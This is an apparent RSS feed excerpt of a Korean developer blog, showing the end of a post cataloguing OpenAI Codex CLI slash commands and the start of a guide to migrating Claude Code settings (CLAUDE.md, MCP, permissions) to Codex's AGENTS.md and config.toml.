&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;섹션 1 기본기&lt;/b&gt;&lt;br /&gt;□ &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/&lt;/code&gt; 입력 시 popup이 뜨는가&lt;br /&gt;□ Tab으로 큐잉 표시(&quot;Queued&quot;)가 나타나는가&lt;br /&gt;□ &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/approvals&lt;/code&gt; 입력 시 비활성/안내 메시지가 뜨는가&lt;br /&gt;&lt;br /&gt;&lt;b&gt;섹션 2-7 공식 등재 명령&lt;/b&gt;&lt;br /&gt;□ /new, /resume, /fork, /side, /clear, /compact, /exit, /logout &amp;mdash; 화면 변화 캡쳐&lt;br /&gt;□ /model, /fast, /permissions, /experimental &amp;mdash; picker&amp;middot;토글 UI 캡쳐&lt;br /&gt;□ /mention, /mcp, /plugins, /apps, /agent &amp;mdash; 카드&amp;middot;표 형태 캡쳐&lt;br /&gt;□ /init, /diff, /review, /plan &amp;mdash; 결과 view 캡쳐&lt;br /&gt;□ /status, /debug-config, /feedback, /copy &amp;mdash; 상태표&amp;middot;진단 결과 캡쳐&lt;br /&gt;□ /theme, /title, /statusline, /keymap &amp;mdash; 변경 즉시 반영 캡쳐&lt;br /&gt;&lt;br /&gt;&lt;b&gt;섹션 8 게이트 명령&lt;/b&gt;&lt;br /&gt;□ /goal &amp;mdash; config.toml에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;features.goals = true&lt;/code&gt; 세팅 후 실행&lt;br /&gt;□ /personality &amp;mdash; 사용 모델이 지원하는지 popup 표시 여부 확인&lt;br /&gt;□ /ps, /stop &amp;mdash; &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;features.unified_exec = true&lt;/code&gt; 세팅 후 백그라운드 셸 띄워보기&lt;br /&gt;&lt;br /&gt;&lt;b&gt;섹션 9 미등재 명령&lt;/b&gt;&lt;br /&gt;□ /rename, /raw, /skills, /approve, /realtime, /settings, /collab, /setup-default-sandbox &amp;mdash; 자신의 버전에 존재하는지 popup&amp;middot;직접 입력으로 확인&lt;br /&gt;□ 비활성 상태로 표시되면 어떤 플래그가 필요한지 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/debug-config&lt;/code&gt;에서 점검&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;자주 겪는 문제&lt;/h3&gt;
&lt;ul style=&quot;padding-left: 22px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;슬래시 명령이 popup에 안 나온다&lt;/b&gt;: alias이거나(/quit&amp;harr;/exit) feature 플래그가 꺼져 있을 수 있다. 직접 입력 후 Enter로 시도하고 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/debug-config&lt;/code&gt;로 게이트 조건을 확인한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;명령이 &quot;비활성&quot; 상태로 보인다&lt;/b&gt;: 필요한 feature 플래그가 꺼져 있다는 뜻이다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/experimental&lt;/code&gt;로 즉시 토글하거나 config.toml에서 영구 설정한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;config.toml 변경이 반영되지 않는다&lt;/b&gt;: TUI를 완전히 재시작한다. 일부 키는 세션 재시작이 필요하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;tmux에서 화면이 깨진다&lt;/b&gt;: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--no-alt-screen&lt;/code&gt; 플래그를 붙이거나 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/raw&lt;/code&gt;로 렌더링 모드를 전환해본다(v0.129.0~).&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;참고 자료&lt;/h3&gt;
&lt;ul style=&quot;padding-left: 22px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/cli/slash-commands&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 slash-commands 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/config-basic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 config-basic 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/hooks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;hooks 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MCP 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/openai/codex/releases/tag/rust-v0.128.0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;v0.128.0 릴리즈 노트&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/openai/codex/releases/tag/rust-v0.129.0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;v0.129.0 릴리즈 노트&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/Codex 기초 사용방법</category>
      <category>codex cli</category>
      <category>Codex config.toml</category>
      <category>codex exec 옵션</category>
      <category>codex TUI</category>
      <category>Codex 사용법</category>
      <category>codex 세션 관리</category>
      <category>codex 슬래시 사전</category>
      <category>codex 히든 명령</category>
      <category>openai codex</category>
      <category>슬래시 명령어</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/603</guid>
      <comments>https://goddaehee.tistory.com/603#entry603comment</comments>
      <pubDate>Mon, 18 May 2026 12:00:27 +0900</pubDate>
    </item>
    <item>
      <title>Codex CLI 입문(7) : Claude Code 사용자를 위한 Codex 전환 가이드 - CLAUDE.md&amp;middot;슬래시 명령&amp;middot;MCP 완전 마이그레이션</title>
      <link>https://goddaehee.tistory.com/602</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Claude Code를 쓰다가 Codex로 갈아타려는 분을 위한 실전 이사 가이드입니다. Mac 데스크톱 앱의 자동 import 경로와 CLI 수동 경로 중 하나를 고른 뒤, CLAUDE.md를 세 줄기로 나눠 옮기고 5분 Smoke Test로 확인하는 흐름으로 설명합니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- SEO structured data --&gt;
&lt;script type=&quot;application/ld+json&quot;&gt;
{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@graph&quot;: [
    {
      &quot;@type&quot;: &quot;BlogPosting&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-8-migration.html#blogposting&quot;,
      &quot;headline&quot;: &quot;Claude Code에서 Codex로 이전하기: 경로 분기, AGENTS.md 분류, Smoke Test&quot;,
      &quot;description&quot;: &quot;Mac 앱 자동 import와 CLI 수동 마이그레이션 두 경로를 비교하고, CLAUDE.md를 AGENTS.md로 3단계 분류하는 방법과 5분 Smoke Test 체크리스트를 정리합니다.&quot;,
      &quot;inLanguage&quot;: &quot;ko-KR&quot;,
      &quot;url&quot;: &quot;https://goddaehee.tistory.com/codex-series-8-migration.html&quot;,
      &quot;mainEntityOfPage&quot;: {
        &quot;@type&quot;: &quot;WebPage&quot;,
        &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-8-migration.html&quot;
      },
      &quot;author&quot;: {
        &quot;@type&quot;: &quot;Person&quot;,
        &quot;name&quot;: &quot;갓대희&quot;,
        &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;
      },
      &quot;publisher&quot;: {
        &quot;@type&quot;: &quot;Organization&quot;,
        &quot;name&quot;: &quot;갓대희의 블로그&quot;,
        &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;
      },
      &quot;datePublished&quot;: &quot;2026-05-06&quot;,
      &quot;dateModified&quot;: &quot;2026-05-15&quot;,
      &quot;articleSection&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;,
      &quot;keywords&quot;: [
        &quot;Claude Code migration&quot;,
        &quot;Codex migration&quot;,
        &quot;AGENTS.md&quot;,
        &quot;config.toml&quot;,
        &quot;MCP migration&quot;,
        &quot;마이그레이션&quot;
      ]
    },
    {
      &quot;@type&quot;: &quot;BreadcrumbList&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-8-migration.html#breadcrumb&quot;,
      &quot;itemListElement&quot;: [
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 1,
          &quot;name&quot;: &quot;Home&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com&quot;
        },
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 2,
          &quot;name&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com/category/AI%20Tools/Codex&quot;
        },
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 3,
          &quot;name&quot;: &quot;Claude Code에서 Codex로 이전 (Part 8)&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com/codex-series-8-migration.html&quot;
        }
      ]
    },
    {
      &quot;@type&quot;: &quot;FAQPage&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-8-migration.html#faq&quot;,
      &quot;mainEntity&quot;: [
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;Claude Code의 'Import other agent setup'은 CLI에서도 쓸 수 있나?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;아니다. Import other agent setup은 Codex Mac 데스크톱 앱 전용 UI 버튼으로, CLI에는 동일한 명령이 없다. CLI 사용자는 CLAUDE.md를 직접 분류해서 AGENTS.md와 config.toml로 옮겨야 한다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;CLAUDE.md를 Codex로 그대로 복사해도 되나?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;그대로 복사하는 것은 권장되지 않는다. CLAUDE.md 안의 권한 지시(allow/deny), hooks 설정은 Codex의 sandbox_mode·approval_policy·Rules 체계와 1:1로 맞지 않는다. 팀 컨벤션과 개인 취향만 AGENTS.md로 옮기고, 나머지는 config.toml과 .rules 파일로 재설정하는 것이 안전하다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;Smoke Test는 어떻게 시작하면 좋은가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;먼저 AGENTS.md 파일이 올바른 위치(~/.codex/AGENTS.md 또는 프로젝트 루트 AGENTS.md)에 있는지 확인한 뒤, read-only sandbox 모드로 Codex를 실행해 간단한 설명 요청을 해본다. 파일을 변경하지 않는 작업으로 sandbox와 approval 정책이 의도대로 작동하는지 검증하는 것이 핵심이다.&quot;
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2742&quot; data-origin-height=&quot;1546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qok3r/dJMcadPsmpH/2AthkyirTW62tfSyNB7Urk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qok3r/dJMcadPsmpH/2AthkyirTW62tfSyNB7Urk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qok3r/dJMcadPsmpH/2AthkyirTW62tfSyNB7Urk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fqok3r%2FdJMcadPsmpH%2F2AthkyirTW62tfSyNB7Urk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2742&quot; height=&quot;1546&quot; data-origin-width=&quot;2742&quot; data-origin-height=&quot;1546&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- 한 줄 결론 --&gt;
&lt;div style=&quot;background-color: #e8f5e9; border-left: 5px solid #2e7d32; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;&lt;b&gt;한 줄 결론&lt;/b&gt;
&lt;p style=&quot;margin: 8px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;Mac 데스크톱 앱이면 &quot;Import other agent setup&quot; 한 번 클릭으로 시작한다.&lt;br /&gt;CLI라면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;CLAUDE.md&lt;/code&gt;를 &lt;b&gt;개인 취향 / 팀 컨벤션 / 위험 지시&lt;/b&gt; 세 줄기로 나눠 옮긴 뒤, Smoke Test로 확인한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 시리즈 박스 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;OpenAI Codex 개발자 시리즈&lt;/b&gt;
&lt;div style=&quot;margin-top: 10px; display: flex; gap: 10px; flex-wrap: wrap; align-items: center;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/596&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 1: CLI 빠른 시작&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/597&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 2: 핵심 개념 4가지&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/598&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 3: Subagents &amp;middot; Workflows&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/601&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 6: 자동화&lt;/a&gt; &lt;span style=&quot;background-color: #0066cc; color: white; padding: 5px 12px; border-radius: 15px; font-size: 14px; font-weight: bold;&quot;&gt;Part 7: 마이그레이션 (현재 글)&lt;/span&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/603&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 8: 슬래시 명령어 정리(예정)&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 10px 15px; border-radius: 6px; border: 1px solid #dee2e6; margin: 15px 0; font-size: 14px; color: #6c757d;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 글은 &lt;b&gt;2026년 5월 15일&lt;/b&gt; 기준 OpenAI Codex 공식 문서와 Anthropic Claude Code 공식 문서를 바탕으로 작성되었다. 기능 이름과 설정 키는 계속 바뀔 수 있으므로 실제 이전 전에는 각 도구의 최신 문서를 다시 확인하자.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== §1. 두 경로 분기 ===== --&gt;
&lt;h2 id=&quot;section-1&quot; style=&quot;font-size: 24px; color: #1a3a2a; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #a3d9c8; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 먼저 경로를 고른다&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마이그레이션 경로는 두 가지이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;경로&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;언제 쓰나&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;무엇을 해주나&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;한계&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;경로 A&lt;/b&gt;&lt;br /&gt;Mac 앱 자동 import&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Codex Mac 데스크톱 앱을 쓰는 경우&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;instructions&amp;middot;config&amp;middot;skills&amp;middot;MCP&amp;middot;hooks&amp;middot;subagents까지 일괄 가져오기 시도&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;tool 제한&amp;middot;MCP custom auth&amp;middot;plugins는 import 후 수동 검토 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;경로 B&lt;/b&gt;&lt;br /&gt;CLI 수동 마이그레이션&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;CLI만 쓰거나 세밀하게 제어하고 싶은 경우&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;CLAUDE.md를 직접 분류해서 AGENTS.md + config.toml로 옮김&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;자동 변환 없음, 모든 매핑을 수동으로 해야 함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;path-a&quot; style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;경로 A &amp;mdash; Mac 앱 &quot;Import other agent setup&quot;&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff8e1; border-left: 4px solid #f9a825; padding: 14px 18px; margin: 16px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;⚠ Mac 데스크톱 앱 전용&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin: 8px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Import other agent setup&quot;은 &lt;b&gt;Codex Mac 데스크톱 앱&lt;/b&gt;에만 있는 UI 버튼이다. CLI(&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex&lt;/code&gt; 명령어)에는 동일한 import 명령이 없다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://goddaehee.tistory.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Mac 앱 가이드 &amp;sect;9&lt;/a&gt; &amp;mdash; 같은 시리즈 본문 직접 확인)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용 방법:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;padding-left: 22px; margin: 10px 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Codex Mac 앱 실행 &amp;rarr; 설정(⚙) 열기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;다른 에이전트 설정 가져오기&quot; 항목 확인 &amp;mdash; Codex가 로컬 에이전트(Claude, Cursor, Continue 등)를 자동 감지해서 목록을 표시한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;가져오기 버튼 클릭 &amp;rarr; 해당 도구의 시스템 프롬프트&amp;middot;규칙이 Codex 맞춤형 지침으로 전환된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;결과 검토: 자동 변환 내용이 의도와 맞는지 맞춤형 지침 화면에서 직접 확인한다&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #fce4ec; border-left: 4px solid #c62828; padding: 14px 18px; margin: 16px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;자동 import 후 반드시 검토해야 하는 것&lt;/b&gt;
&lt;p style=&quot;margin: 8px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;자동 import가 시도되지만 그대로 신뢰하면 안 되는 항목이다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/migrate&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex &amp;mdash; Migrate to Codex&lt;/a&gt;)&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;import된 skills&amp;middot;subagents의 &lt;b&gt;tool restrictions / permissions&lt;/b&gt; &amp;mdash; Codex의 sandbox&amp;middot;approval&amp;middot;Rules와 의도대로 맞는지 검토 (&amp;sect;4 함정 ① 참고)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 서버의 &lt;b&gt;custom authentication &amp;middot; headers &amp;middot; env vars &amp;middot; transports&lt;/b&gt; &amp;mdash; import 후 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/config.toml&lt;/code&gt; 에서 직접 확인 (&amp;sect;5 접힘 박스 참고)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code 전용 plugins &amp;middot; marketplaces &amp;mdash; Codex에 대응 기능 없으면 수동 후속 작업 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;path-b&quot; style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;경로 B &amp;mdash; CLI 수동 마이그레이션 핵심 매핑&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CLI만 쓰거나 Mac 앱이 없는 환경이면 경로 A를 건너뛰고 아래 매핑 표만 참고한 뒤 &amp;sect;2로 이동하면 된다.&lt;/b&gt; CLI 경로는 아래 표를 기준으로 파일을 옮긴다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;Claude Code&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;Codex&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;한 줄 설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;~/.claude/CLAUDE.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;~/.codex/AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;개인 전역 지침 (이름 호칭, 응답 스타일 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;.claude/CLAUDE.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;AGENTS.md&lt;/code&gt; (프로젝트 루트)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;팀 컨벤션, 코드 스타일 (Git 추적)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
